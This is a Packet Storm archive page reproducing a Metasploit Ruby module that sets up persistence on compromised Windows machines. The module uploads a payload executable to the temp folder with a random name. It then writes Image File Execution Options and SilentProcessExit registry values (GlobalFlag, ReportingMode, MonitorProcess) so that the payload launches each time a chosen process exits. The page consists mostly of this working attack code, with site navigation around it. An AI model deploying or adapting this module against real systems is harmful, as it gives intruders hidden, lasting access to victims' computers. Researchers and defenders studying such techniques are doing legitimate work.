what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Windows Silent Process Exit Persistence

Microsoft Windows Silent Process Exit Persistence
Posted Oct 5, 2019
Authored by bwatters-r7, Mithun Shanbhag | Site metasploit.com

This Metasploit module uploads a payload and declares that it is the debug process to launch when a specified process exits.

tags | exploit
SHA-256 | a05b3a3b155bf1ca1a257a13df6b2f389b1f88604331b862f002f95fbb2ac668

Microsoft Windows Silent Process Exit Persistence

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/file'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Windows::Registry
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv

def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Silent Process Exit Persistence',
'Description' => %q(
Windows allows you to set up a debug process when a process exits.
This module uploads a payload and declares that it is the debug
process to launch when a specified process exits.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Mithun Shanbhag', # earliest author found
'bwatters-r7', # msf module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' =>
[
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => "Jun 28 2008",
'References' =>
[
['URL', 'https://attack.mitre.org/techniques/T1183/'],
['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'true'
}
))
register_options([
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('PATH', [false, 'Path to write payload(%TEMP% by default).', nil]),
OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])

])
end

def upload_payload(dest_pathname)
payload_exe = generate_payload_exe
write_file(dest_pathname, payload_exe)
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
end

def validate_active_host
unless is_system?
fail_with(Failure::NoAccess, "You must be System to run this Module")
end

begin
print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end

def write_reg_keys(image_file, payload_pathname)
reg_keys = []
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
value_name: "GlobalFlag",
type: "REG_DWORD",
value_value: 512)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
value_name: "ReportingMode",
type: "REG_DWORD",
value_value: 1)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
value_name: "MonitorProcess",
type: "REG_SZ",
value_value: payload_pathname)
silent_process_exit_key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit"
registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
reg_keys.each do |key|
registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}")
registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])
unless registry_getvalinfo(key[:key_name], key[:value_name])
print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}")
return false
end
end
end

def exploit
validate_active_host
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
image_file = datastore['IMAGE_FILE']
payload_pathname = temp_path + "\\" + payload_name + '.exe'
vprint_status("Payload pathname = #{payload_pathname}")
upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
end
end

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close